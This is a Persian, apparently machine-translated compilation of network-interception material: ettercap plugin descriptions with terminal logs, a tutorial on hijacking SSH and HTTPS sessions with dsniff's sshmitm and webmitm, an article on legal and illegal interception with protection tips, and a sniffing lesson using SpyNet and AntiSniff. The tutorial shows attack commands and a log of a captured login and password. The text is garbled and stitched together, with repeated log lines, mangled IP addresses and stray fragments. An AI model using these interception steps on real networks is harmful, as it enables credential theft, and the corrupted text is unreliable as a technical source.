بسط دادن

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // رمز عبور برای mial: ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:A3:08:4A 19.2 255.255.255.0 fe80::a00:27ff:fea3:84a/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد. امتیازات به EUID 65534 کاهش یافت اثر انگشت فروشنده 1766 tcp OS اثر انگشت 2182 خدمات شناخته شده تصادفی کردن 255 میزبان برای اسکن... اسکن کل نت ماسک برای 255 میزبان... * |===================== ============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // رمز عبور برای mial: ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:A3:08:4A 19.2 255.255.255.0 fe80::a00:27ff:fea3:84a/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد. امتیازات به EUID 65534 کاهش یافت اثر انگشت فروشنده 1766 tcp OS اثر انگشت 2182 خدمات شناخته شده تصادفی کردن 255 میزبان برای اسکن... اسکن کل نت ماسک برای 255 میزبان... * |===================== ============================>| 100.00 % 3 هاست به لیست میزبان اضافه شد... شروع sniffing یکپارچه... فقط متن رابط فعال شد... برای کمک درون خطی "h" را بزنید فعال کردن پلاگین arp_cop... arp_cop: افزونه در حال اجرا... arp_cop: (میزبان جدید ) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند که 192.168.1.1.35. be 192.168.1.1 arp_cop: (اخطار ) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.1p تا 1.35 ) 192.168.1.35 وانمود می کند که 192.168 است .1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop. .1.1 arp_cop: (هشدار) 192.168 .1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 AR 192.168.1.35 وانمود می کند که 192.168.1.35. .1.35 وانمود می کند که 192.168.1.1 است arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop.211.6 وانمود می کند که 192.168.1.1. p_cop: (هشدار) 192.168.1.35 تظاهر به 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (هشدار) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند که 192.168.1.1.1. s 192.168.1.1 arp_cop باشد : (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.1. : ( هشدار) 192.168.1.35 وانمود می کند to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند که 192.168.1.1.35. 192 باشد. 168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند 192.168.1.1.1 arp_cop.1.1.1 arp_cop.1.1.1. 168.1.1 arp_cop: ( هشدار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.1p وانمود می کند که arp_cop. ARNING) 192.168.1.35 وانمود می کند که هست 192.168. 1.1. 192.168. 1.1 arp_cop: (هشدار) 192.168. 1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.1p تا 6.31 192.168. 1.35 وانمود می کند که 192.168 است. 1.1 .............................

7.2 افزودن خودکار

این به طور خودکار قربانیان جدید را هنگام اتصال به حمله mitm مسمومیت ARP اضافه می کند. به دنبال درخواست‌های ARP در شبکه محلی می‌گردد و در صورت شناسایی، اگر لیست به عنوان TARGET مشخص شده باشد، افزونه میزبان را به لیست قربانیان اضافه می‌کند. هاست زمانی اضافه می شود که یک درخواست arp از آن قابل مشاهده باشد.

7.3 chk_poison

بررسی می کند که آیا ماژول های arp etch در ettercap موفق هستند یا خیر. این بسته های جعلی پژواک ICMP را برای همه قربانیان طعمه می فرستد در حالی که وانمود می کند هر یک از قربانیان هستند. می تواند یک پاسخ ICMP با آدرس MAC ما به عنوان مقصد دریافت کند، که به این معنی است که طعمه گذاری بین دو هدف موفقیت آمیز است. هر دو مسیر هر اتصال را بررسی می کند.

7.4 dns_spoof

این افزونه درخواست های DNS را قطع می کند و با یک پاسخ جعلی (جعلی) پاسخ می دهد. با ویرایش فایل etter.dns می توانید انتخاب کنید که افزونه به کدام آدرس پاسخ دهد. این افزونه درخواست های A، AAAA، PTR، MX، WINS، SRV و TXT را رهگیری می کند. اگر یک درخواست A بود، نام در فایل جستجو می‌شود و آدرس IP برگردانده می‌شود (می‌توانید از حروف عام در نام استفاده کنید).

همین امر در مورد درخواست های AAAA نیز صدق می کند.

7.5 find_conn

یک پلاگین بسیار ساده که به درخواست های ARP گوش می دهد تا تمام اهدافی را که میزبان می خواهد با آنها ارتباط برقرار کند را به شما نشان می دهد. همچنین می تواند به شما در یافتن آدرس در شبکه های محلی ناشناخته کمک کند.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

سعی می کند بسته های ettercap ارسال شده به شبکه محلی را شناسایی کند. این می تواند در شناسایی فردی که سعی در استفاده از ettercap دارد مفید باشد. 100٪ روی آن تکیه نکنید زیرا آزمایش ها فقط روی دنباله ها / شماره های شناسایی خاص کار می کنند.

7.7 scan_poisoner

بررسی خواهد کرد که آیا کسی بین هر یک از میزبان های لیست و ما طعمه می زند یا خیر. ابتدا بررسی می کند که آیا دو هاست موجود در لیست یکسان هستند یا خیر مک آدرس. این ممکن است به این معنی باشد که یکی از آنها با تظاهر به دیگری ما را مسموم می کند. این می تواند بسیاری از موارد مثبت کاذب را در یک محیط proxy-arp ایجاد کند. برای انجام این بررسی باید لیستی از هاست ها بسازید. پس از آن، بسته های icmp echo را برای هر میزبان موجود در لیست ارسال می کند و بررسی می کند که آیا آدرس مک منبع پاسخ با آدرسی که در لیست با آن IP ذخیره کرده ایم متفاوت است یا خیر. این می تواند به این معنی باشد که شخصی با تظاهر به داشتن آدرس IP ما و ارسال بسته های رهگیری شده به ما، این میزبان را طعمه می گذارد. شما نمی توانید این تست فعال را در حالت غیر تهاجمی اجرا کنید.

Ettercap -TQP scan_poisoner //

7.8 search_promisc

سعی می‌کند پیدا کند که آیا کسی در حالت بی‌وقفه استریف می‌کند (گوش می‌کند). دو درخواست arp متفاوت و بد شکل را برای هر هدف در لیست میزبان ارسال می کند و منتظر پاسخ می ماند. اگر پاسخ از میزبان هدف گرفته شده باشد، کم و بیش احتمال دارد که هدف کارت شبکه را در حالت بی‌وقفه داشته باشد. ممکن است آلارم های کاذب ایجاد کند. می توانید آن را از طریق خط فرمان یا از منوی افزونه ها اجرا کنید. از آنجایی که به پاسخ های arp گوش می دهد، بهتر است هنگام ارسال درخواست های arp از آنها استفاده نکنید.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

نمونه ای از حدس زدن موفقیت آمیز دو کارت شبکه در حالت غیرقانونی:

بسط دادن

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:AF:30:B9 192.168.1.350/250:192.168.1.350/250 27ff:feaf:30b9/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد که ممکن است Ettercap به درستی کار نکند. /proc/sys/net/ipv6/conf/eth0/use_tempaddr روی 0 تنظیم نشده است. امتیازات به EUID 65534 EGID 65534 کاهش یافته است... 33 پلاگین 42 برش دهنده پروتکل 57 پورت نظارت شده 20388 mac فروشنده اثر انگشت خدمات 18 OS6 اثر انگشت Luc 17 OS6 شناخته شده : هیچ اسکریپتی مشخص نشده است، راه اندازی نشده است! تصادفی سازی 255 هاست برای اسکن... اسکن کل نت ماسک برای 255 هاست... * |============================== =================================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:AF:30:B9 192.168.1.350/250:192.168.1.350/250 27ff:feaf:30b9/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد که ممکن است Ettercap به درستی کار نکند. /proc/sys/net/ipv6/conf/eth0/use_tempaddr روی 0 تنظیم نشده است. امتیازات به EUID 65534 EGID 65534 کاهش یافته است... 33 پلاگین 42 برش دهنده پروتکل 57 پورت نظارت شده 20388 mac فروشنده اثر انگشت خدمات 18 OS6 اثر انگشت Luc 17 OS6 شناخته شده : هیچ اسکریپتی مشخص نشده است، راه اندازی نشده است! تصادفی سازی 255 هاست برای اسکن... اسکن کل نت ماسک برای 255 هاست... * |============================== =================================>| 100.00% 5 هاست به لیست میزبان ها اضافه شد... شروع sniffing یکپارچه... فقط متن رابط فعال شد... برای کمک درون خطی "h" را بزنید فعال کردن افزونه search_promisc... search_promisc: جستجوی NIC های promisc... احتمالاً کمتر sniffing کارت های شبکه : - 192.168.1.36 - 192.168.1.34 به احتمال زیاد NIC های sniffing: - هیچکدام در حال بستن رابط متنی... پایان ettercap... پاکسازی Lua کامل شد! بوییدن یکپارچه متوقف شد.

7.9 sslstrip

در طول یک حمله SSL mitm، ettercap گواهی SSL واقعی را با گواهینامه خود جایگزین می کند. گواهی جعلی در پرواز ایجاد می شود و تمام فیلدها مطابق با گواهی واقعی ارائه شده توسط سرور پر می شوند.

  • (62%)
  • (56.5%)
  • (تصادفی - 0.2%)
  • در این مقاله به حملاتی مانند Man-in-the-Middle یا بهتر است بگوییم روش بررسی خواهیم کرد
    هدایت ترافیک SSH و HTTP با استفاده از حمله Man in the Middle. بیایید گربه را از دم نکشیم، بلکه دست به کار شویم.

    مرد در وسط (به طور خلاصه MitM، از روسی به سادگی - "حمله واسطه" یا "مرد
    در وسط") نوعی حمله است که بر اساس هدایت ترافیک بین دو ماشین برای رهگیری اطلاعات - مطالعه بیشتر، تخریب یا اصلاح آن است. بنابراین، اولین چیزی که ما نیاز داریم بسته dsniff است (لینک بسته را در آدرس مشاهده خواهید کرد. پایان مقاله) چرا بله، زیرا این بسته شامل تمام ابزارهای ضروری از جمله sshmitm (تغییر مسیر ترافیک SSH) و httpmitm (تغییر مسیر ترافیک HTTP) است که می تواند طرح امنیتی زیر را دور بزند: تا آنجا که می دانید، پروتکل هایی با رمزگذاری داده ها کاملاً "امن" هستند (رمزگذاری کمک می کند :)) و اجازه نمی دهند حملات "در بالای" لایه شبکه انجام شود. کلید رمزگذاری برای هکر ناشناخته است - رمزگشایی داده ها غیرممکن است. و یک دستور را نیز وارد کنید. همه چیز خوب به نظر می رسد، اما در اینجا نحوه انجام آن است
    از آنجایی که برنامه های حمله MitM (sshmitm و httpmitm) از بسته dsniff قادر به دور زدن هستند این سیستمامنیت (شما می توانید تقریبا همه چیز را دور بزنید). این همه بر اساس اصل زیر انجام می شود:
    میزبان میانی درخواست را از مشتری دریافت می کند و به او می گوید که سرور است و سپس به سرور واقعی متصل می شود.
    دومین چیزی که به آن نیاز داریم بازوهای مستقیم است، چهارمین چیز - مهمترین چیز - میل است و البته یک قربانی، یعنی کامپیوتری که به آن حمله خواهیم کرد.

    تغییر مسیر ترافیک SSH

    بعد از آماده کردن ابزارها متوجه شدید چی شد و چرا :). sshmitm را دریافت کنید - اکنون ما ترافیک SSH را تغییر می دهیم (هر چیزی که در بخش تئوری متوجه نشدید - در بالا بخوانید)
    با استفاده از آن، بهره گیری از کاستی های PKI (زیرساخت کلید عمومی - یک طرح مدیریت کلید بر اساس
    روش های رمزنگاری نامتقارن). بیایید به نحو نگاه کنیم
    sshmitm:

    sshmitm [-d] [-I] [-p port] میزبان

    D
    اجازه خروجی اشکال زدایی (یعنی حالت پیشرفته تر)

    من
    ربودن جلسه

    پورت P
    پورت گوش دادن

    میزبان
    آدرس میزبان راه دور که جلسات آن رهگیری می شود

    بندر
    پورت روی میزبان راه دور

    همه چیز ساده و با مزه به نظر می رسد - هیچ چیز پیچیده ای وجود ندارد :). بیایید اجرای حمله را شروع کنیم!

    # sshmitm server.target.gov // سرور SSH خود را مشخص کنید
    sshmitm: انتقال به سرور server.target.gov

    از آنجایی که ما یک کلید SSH واقعی نداریم، مفسر فرمان مورد حمله قرار می گیرد
    درخواستی برای بررسی کلید میزبان نمایش می دهد، همه چیز چیزی شبیه به این خواهد بود:

    clientmachine$ server.target.gov
    @WARNING: شناسایی میزبان از راه دور تغییر کرده است! @
    این امکان وجود دارد که کسی کار زشتی انجام دهد!
    ممکن است کسی در حال حاضر شما را شنود کند (حمله مرد در وسط)!
    همچنین ممکن است کلید میزبان RSA به تازگی تغییر کرده باشد.
    لطفا با سرپرست سیستم خود تماس بگیرید.

    و سپس کاربر تصمیم می گیرد که آیا متصل شود یا نه. اگر بله، پس ما کنترل کاملی بر جلسه SSH خواهیم داشت.
    ولی! اگر کاربر هرگز به آن خودرو متصل نشده باشد، ممکن است پیام زیر نمایش داده شود:

    اعتبار میزبان "server.target.gov" را نمی توان تعیین کرد
    اثر انگشت کلید RSA است
    bla:bla:bla;bla;bla.......
    آیا مطمئن هستید که می خواهید به اتصال ادامه دهید (بله/خیر)؟

    در اینجا کاربر نیز دو انتخاب دارد - اتصال یا عدم اتصال. اگه آره پس جلسه رو قطع کردیم اگه نه افسوس... :(.
    به طور کلی، حمله موفقیت آمیز بود در صورتی که کاربر متصل شود و sshmitm به نوبه خود همه پاس ها و لاگین ها را و به صورت بسیار خوانا ضبط می کرد :)
    به طور طبیعی، این تنها رهگیر جلسه SSH نیست، اما هنگامی که با آن آشنا شدید، می توانید به راحتی به یکی دیگر مسلط شوید :)

    تغییر مسیر ترافیک HTTP

    اکنون ترافیک HTTP را تغییر مسیر می دهیم. مجدداً به یک ابزار انتخاب شده قبلی نیاز داریم: httpmitm که به پورت های 80 (HTTP -) و 443 (HTTPS -) گوش می دهد، درخواست های WEB را رهگیری می کند، سپس به سرور متصل می شود و درخواست ها را به رایانه مشتری ارسال می کند. این برنامه همچنین کلیدهای SSL و گواهینامه های SSL را با استفاده از OpenSSL تولید می کند. سپس پس از تلاش
    به سایت (target.gov) متصل می شود، مرورگر گواهی SSL را بررسی می کند. از آنجایی که گواهی ها مطابقت ندارند، مرورگر کاربر در مورد آن هشدار می دهد
    گواهی SSL نادرست از دیدگاه مهاجم، چیزی شبیه به این خواهد بود:

    #webmitm -d
    webmitm: انتقال شفاف
    webmitm: اتصال جدید از
    دریافت [link]/uzerz.php?user=hellknights&password=neskaju1qwerty HTTP/[نسخه]
    نوع اتصال]
    میزبان: www.target.gov
    عامل کاربر: [سیستم، اطلاعات مرورگر]
    [و غیره و غیره و غیره]
    کوکی: [کوکی ها]

    همه چیز از بیرون اینگونه به نظر می رسد -
    اتصال SSL رهگیری می شود و داده های رمزگذاری نشده را می گیرد.

    نتیجه

    در این مقاله، ما به تغییر مسیر ترافیک SSH و HTTP با استفاده از حمله Man in the Middle - به طور واضح، با جزئیات، به طور خلاصه نگاه کردیم. سایر تغییر مسیرهای HTTP و SSH
    اگر به اینها هم مسلط باشید، با استفاده از MitM به سرعت بر ترافیک مسلط خواهید شد :)). اگر چیزی نامشخص بود، پس ...

    رهگیری داده ها از طریق شبکه دریافت هر گونه اطلاعات از یک دستگاه کامپیوتری راه دور است. ممکن است شامل اطلاعات شخصی کاربر، پیام‌های وی و سوابق بازدید از وب‌سایت باشد. گرفتن داده ها را می توان با جاسوس افزار یا با استفاده از sniffer های شبکه انجام داد.

    Spyware نرم افزار خاصی است که می تواند تمام اطلاعات ارسال شده از طریق یک شبکه از یک ایستگاه کاری یا دستگاه خاص را ضبط کند.

    Sniffer یک برنامه یا فناوری کامپیوتری است که ترافیک عبوری از یک شبکه را رهگیری و تجزیه و تحلیل می کند. Sniffer به شما امکان می دهد به یک جلسه وب متصل شوید و از طرف صاحب رایانه عملیات مختلفی را انجام دهید.

    اگر اطلاعات در زمان واقعی مخابره نشود، نرم افزارهای جاسوسیایجاد گزارش هایی که مشاهده و تجزیه و تحلیل اطلاعات را راحت می کند.

    رهگیری شبکه می تواند به صورت قانونی یا غیرقانونی انجام شود. سند اصلی که قانونی بودن کسب اطلاعات را تثبیت می کند، کنوانسیون جرایم سایبری است. در سال 2001 در مجارستان ایجاد شد. الزامات قانونی ممکن است از ایالت به ایالت کمی متفاوت باشد، اما پیام کلیدی برای همه کشورها یکسان است.

    طبقه بندی و روش های رهگیری داده ها از طریق شبکه

    با توجه به موارد فوق، رهگیری اطلاعات از طریق یک شبکه را می توان به دو نوع مجاز و غیرمجاز تقسیم کرد.

    ضبط مجاز داده ها برای اهداف مختلفی انجام می شود، از حفاظت از اطلاعات شرکت تا تضمین امنیت ملی. زمینه های انجام چنین عملیاتی توسط قانون، خدمات ویژه، مقامات مجری قانون و متخصصان تعیین می شود. سازمان های اداریو خدمات امنیتی شرکت

    استانداردهای بین المللی برای انجام شنود داده ها وجود دارد. مؤسسه استانداردهای ارتباطات راه دور اروپا موفق شده است تعدادی از فرآیندهای فنی (ETSI ES 201 158 "امنیت ارتباطات از راه دور؛ رهگیری قانونی (LI؛ الزامات برای عملکردهای شبکه") را که رهگیری اطلاعات بر اساس آنها است، هماهنگ کند. در نتیجه، یک معماری سیستمی ایجاد شد که به متخصصان سرویس مخفی و مدیران شبکه کمک می‌کند تا داده‌ها را به طور قانونی از شبکه دریافت کنند. ساختار توسعه یافته برای اجرای رهگیری داده ها بر روی شبکه برای سیمی و استفاده می شود سیستم های بی سیمتماس های صوتی، و همچنین مکاتبه از طریق پست، انتقال پیام های صوتی از طریق IP، تبادل اطلاعات از طریق SMS.

    رهگیری غیرمجاز داده ها از طریق یک شبکه توسط مهاجمانی انجام می شود که می خواهند داده های محرمانه، رمزهای عبور، اسرار شرکت، آدرس ماشین های کامپیوتری موجود در شبکه و غیره را در اختیار بگیرند. برای دستیابی به اهداف خود، هکرها معمولا از یک تحلیلگر ترافیک شبکه - یک sniffer استفاده می کنند. این برنامهیا یک دستگاه سخت افزاری-نرم افزاری به کلاهبردار توانایی رهگیری و تجزیه و تحلیل اطلاعات را در شبکه ای که کاربر قربانی به آن متصل است، می دهد، از جمله ترافیک رمزگذاری شده SSL از طریق جعل گواهی. داده های ترافیک را می توان به روش های مختلفی به دست آورد:

    • گوش دادن به رابط شبکه،
    • اتصال یک دستگاه رهگیری به قطع کانال،
    • ایجاد یک شاخه ترافیک و کپی کردن آن برای sniffer،
    • با انجام یک حمله

    همچنین فناوری‌های پیچیده‌تری برای رهگیری اطلاعات مهم وجود دارد که به فرد اجازه می‌دهد تا در تعاملات شبکه نفوذ کرده و داده‌ها را تغییر دهد. یکی از این تکنیک ها درخواست های ARP جعلی است. ماهیت روش جایگزینی آدرس های IP بین رایانه قربانی و دستگاه مهاجم است. روش دیگری که می توان برای رهگیری داده ها از طریق شبکه استفاده کرد، مسیریابی نادرست است. این شامل جایگزینی آدرس IP یک روتر شبکه با آدرس خودتان است. اگر یک مجرم سایبری بداند شبکه محلی که قربانی در آن قرار دارد چگونه سازماندهی شده است، می تواند به راحتی دریافت اطلاعات از دستگاه کاربر را به آدرس IP خود سازماندهی کند. گرفتن اتصال TCP نیز مفید است به روشی موثررهگیری داده ها مهاجم با تولید و ارسال بسته های TCP به کامپیوتر قربانی، جلسه ارتباط را قطع می کند. در مرحله بعد، جلسه ارتباط توسط مجرم به جای مشتری بازیابی، رهگیری و ادامه می‌یابد.

    موضوع نفوذ

    اشیاء شنود داده ها از طریق شبکه می توانند سازمان های دولتی، شرکت های صنعتی، سازه های تجاری و کاربران عادی باشند. در یک سازمان یا شرکت تجاری، اطلاعات را می توان به منظور محافظت از زیرساخت شبکه جمع آوری کرد. آژانس‌های اطلاعاتی و سازمان‌های مجری قانون می‌توانند بسته به وظیفه‌ای که در دست دارند، اطلاعاتی را که از صاحبان مختلف مخابره می‌شود، رهگیری کنند.

    اگر ما در مورد مجرمان سایبری صحبت کنیم، هر کاربر یا سازمانی می تواند به منظور به دست آوردن داده های منتقل شده از طریق شبکه، به یک موضوع نفوذ تبدیل شود. با دسترسی مجاز، بخش اطلاعاتی اطلاعات دریافتی مهم است، در حالی که مهاجم بیشتر به داده هایی که می تواند برای ضبط استفاده شود علاقه دارد. به صورت نقدییا اطلاعات ارزشمندی برای فروش بعدی آن.

    اغلب، کاربرانی که به یک شبکه عمومی متصل می شوند، به عنوان مثال در یک کافه با یک هات اسپات، قربانی رهگیری اطلاعات توسط مجرمان سایبری می شوند. دسترسی به وای فای. یک مهاجم با استفاده از sniffer به یک جلسه وب متصل می شود، داده ها را جایگزین می کند و اطلاعات شخصی را می دزدد. در مورد چگونگی این اتفاق در مقاله بیشتر بخوانید.

    منبع تهدید

    شنود مجاز اطلاعات در شرکت ها و سازمان ها توسط اپراتورهای زیرساخت شبکه عمومی انجام می شود. فعالیت های آنها با هدف حفاظت از داده های شخصی، اسرار تجاری و غیره است اطلاعات مهم. از نظر قانونی، انتقال پیام‌ها و فایل‌ها می‌تواند توسط سرویس‌های اطلاعاتی، سازمان‌های مجری قانون و سازمان‌های مختلف دولتی برای اطمینان از امنیت شهروندان و دولت نظارت شود.

    مجرمان درگیر شنود غیرقانونی داده ها هستند. برای اینکه قربانی یک مجرم سایبری نشوید، باید توصیه هایی را از کارشناسان دنبال کنید. به عنوان مثال، در مکان هایی که اتصال به شبکه های عمومی است، نباید عملیاتی را انجام دهید که نیاز به مجوز و انتقال داده های حساس دارد. انتخاب شبکه های دارای رمزگذاری ایمن تر است و حتی بهتر است - استفاده از مودم های شخصی 3G و LTE. هنگام انتقال داده های شخصی، توصیه می شود با استفاده از پروتکل HTTPS یا یک تونل VPN شخصی، آن ها را رمزگذاری کنید.

    شما می توانید با استفاده از رمزنگاری و ضد اسنیفر از رایانه خود در برابر رهگیری ترافیک شبکه محافظت کنید. دیال آپ به جای دسترسی به شبکه بی سیم خطرات را کاهش می دهد.


    این درس فناوری های هک شبکه را بر اساس رهگیری بسته های شبکه توصیف می کند. هکرها از چنین فناوری هایی برای گوش دادن به ترافیک شبکه به منظور سرقت اطلاعات ارزشمند، سازماندهی رهگیری داده ها به منظور حمله انسان در وسط، رهگیری اتصالات TCP، اجازه دادن به عنوان مثال، جعل داده ها و انجام کارهای دیگر استفاده می کنند. اقدامات به همان اندازه جالب متأسفانه اکثر این حملات در واقع فقط برای شبکه های یونیکس اجرا می شوند که هکرها می توانند از هر دو استفاده کنند ابزارهای ویژهو ابزارهای سیستم یونیکس. ظاهراً شبکه‌های ویندوز توسط هکرها نادیده گرفته شده‌اند، و ما مجبور هستیم که توصیف خود را از ابزارهای رهگیری داده‌ها به برنامه‌های ردیابی که برای گوش دادن بی‌اهمیت به بسته‌های شبکه طراحی شده‌اند محدود کنیم. با این حال، نباید حداقل از توصیف تئوری چنین حملاتی، به ویژه برای ضد هکرها غافل شد، زیرا دانش فناوری های هک مورد استفاده به جلوگیری از بسیاری از مشکلات کمک می کند.

    استشمام شبکه

    معمولاً برای شنود شبکه های اترنت استفاده می شود. کارت های شبکهبه حالت گوش دادن تغییر کرد. استماع شبکه های اترنتنیاز به اتصال رایانه ای دارد که یک برنامه sniffer را اجرا می کند به یک بخش شبکه، پس از آن تمام ترافیک شبکه ارسال و دریافت شده توسط رایانه های این بخش شبکه در دسترس هکر قرار می گیرد. رهگیری ترافیک از شبکه‌های رادیویی که از واسطه‌های شبکه بی‌سیم استفاده می‌کنند حتی ساده‌تر است - در این صورت، حتی نیازی به جستجوی مکانی برای اتصال به کابل ندارید. یا یک مهاجم می تواند به خط تلفنی که کامپیوتر را به سرور اینترنت متصل می کند وصل شود و مکان مناسبی برای این کار پیدا کند (خطوط تلفن معمولاً در زیرزمین ها و سایر مکان هایی که به ندرت بازدید می شود بدون هیچ گونه حفاظتی قرار می گیرند).

    برای نشان دادن فناوری sniffing، ما از برنامه بسیار محبوب Sniffer SpyNet استفاده می کنیم که در بسیاری از وب سایت ها یافت می شود. وب سایت رسمی برنامه SpyNet در آدرس http://members.xoom.com/layrentiu2/ قرار دارد که می توانید نسخه آزمایشی برنامه را از آنجا دانلود کنید.

    برنامه SpyNet از دو جزء تشکیل شده است - CaptureNet و PipeNet. برنامه CaptureNet به شما امکان می دهد بسته های ارسال شده از طریق شبکه اترنت را در سطح شبکه رهگیری کنید. در قالب فریم های اترنت. نرم افزار PipeNet به شما امکان می دهد فریم های اترنت را در بسته های لایه برنامه جمع آوری کنید، به عنوان مثال، پیام ها را بازیابی کنید. پست الکترونیک، پیام های پروتکل HTTP (تبادل اطلاعات با سرور وب) و انجام سایر عملکردها.

    متأسفانه، در نسخه ی نمایشی SpyNet، قابلیت های PipeNet به نسخه ی نمایشی مونتاژ بسته های HTTP محدود می شود، بنابراین ما نمی توانیم SpyNet را به طور کامل نشان دهیم. با این حال، ما با استفاده از شبکه آزمایشی خود به عنوان مثال، قابلیت‌های sniffing شبکه SpyNet را با عبور نشان خواهیم داد. فایل متنیاز میزبان Sword-2000 تا میزبان Alex-Z با استفاده از معمول Windows Explorer. در همان زمان، در رایانه A1ex-1 ما برنامه CaptureNet را راه اندازی می کنیم، که بسته های ارسال شده را رهگیری می کند و به ما امکان می دهد محتویات فایل ارسال شده را در فریم های اترنت بخوانیم. در شکل 1 متن پیام مخفی را در فایل secret.txt نشان می دهد. ما سعی خواهیم کرد این متن را در فریم های اترنت گرفته شده پیدا کنیم.

    برنج. 1. متن پیام مخفی در پنجره Notepad

    برای گرفتن فریم های اترنت، مراحل زیر را دنبال کنید:

    در رایانه Alex-Z، برنامه CaptureNet را اجرا کنید. در پنجره کار نمایش داده شده برنامه، دستور منوی Capture * Start (Capture * Start) را انتخاب کرده و فرآیند رهگیری فریم های شبکه را شروع کنید.

    با استفاده از Windows Explorer، فایل security.txt را از کامپیوتر Sword-2000 در A1ex-3 کپی کنید.

    پس از انتقال فایل Secret.txt، دستور Capture * Stop منو را انتخاب کرده و فرآیند ضبط را متوقف کنید.

    فریم های اترنت گرفته شده در سمت راست پنجره برنامه CaptureNet ظاهر می شوند (شکل 2)، با هر سطر در لیست بالا نشان دهنده یک فریم اترنت و در زیر لیست محتویات فریم انتخاب شده است.

    برنج. 2. فریم اترنت حاوی متن پیام مخفی است

    با نگاهی به لیست فریم های رهگیری شده، می توانیم به راحتی فریمی را پیدا کنیم که حاوی متنی است که ما ارسال کرده ایم. این یک راز بسیار بزرگ است (این یک راز بسیار بزرگ است).

    ما تأکید می کنیم که این ساده ترین مثال است، زمانی که تمام ترافیک شبکه رهگیری شده ثبت شده است. CaptureNet به شما امکان می دهد بسته های ارسال شده از طریق پروتکل های خاص و پورت های میزبان خاص را رهگیری کنید، پیام هایی با محتوای خاص را انتخاب کنید و داده های گرفته شده را در یک فایل جمع آوری کنید. تکنیک انجام چنین اقداماتی ساده است و با استفاده از سیستم کمکی برنامه SpyNet قابل یادگیری است.

    علاوه بر استراق سمع شبکه بدوی، هکرها به ابزارهای پیچیده تری برای شنود داده ها دسترسی دارند. در زیر مروری کوتاه بر این گونه روش ها، البته از جنبه نظری، ارائه شده است. دلیل آن این است که برای شبکه های ویندوز، اجرای عملی حملات رهگیری داده بسیار محدود است و مجموعه ابزارهای قابل اعتماد برای حملات رهگیری بسیار ضعیف است.

    روش های رهگیری ترافیک شبکه

    شنود شبکه با استفاده از برنامه های تحلیلگر شبکه مانند CaptureNet در بالا اولین و ساده ترین راه برای رهگیری داده ها است. علاوه بر SpyNet، ابزارهای زیادی برای شناسایی شبکه استفاده می‌شود که در ابتدا برای اهداف آنالیز فعالیت شبکه، تشخیص شبکه‌ها، انتخاب ترافیک بر اساس معیارهای مشخص شده و سایر وظایف مدیریت شبکه توسعه داده شد. نمونه ای از چنین برنامه ای tcpdump (http://www.tcpdump.org) است که به شما امکان می دهد ترافیک شبکه را در یک گزارش ویژه برای تجزیه و تحلیل بعدی ثبت کنید.

    برای محافظت در برابر استراق سمع شبکه، از برنامه های خاصی استفاده می شود، به عنوان مثال، AntiSniff (http://www.securitysoftwaretech.com/antisniff)، که قادر به شناسایی رایانه های موجود در شبکه هستند که به ترافیک شبکه گوش می دهند. برای حل مشکلات خود، برنامه های ضد اسنیفر از علامت خاصی از وجود دستگاه های شنود در شبکه استفاده می کنند - کارت شبکه رایانه sniffer باید در حالت گوش دادن خاص باشد. در حالی که در حالت گوش دادن هستند، رایانه های شبکه به روش خاصی به دیتاگرام های IP ارسال شده به میزبان مورد آزمایش واکنش نشان می دهند. به عنوان مثال، میزبان های شنود معمولا تمام ترافیک ورودی را پردازش می کنند، نه فقط دیتاگرام های ارسال شده به آدرس میزبان. علائم دیگری وجود دارد که نشان دهنده رفتار میزبان مشکوک است که AntiSniff می تواند تشخیص دهد.

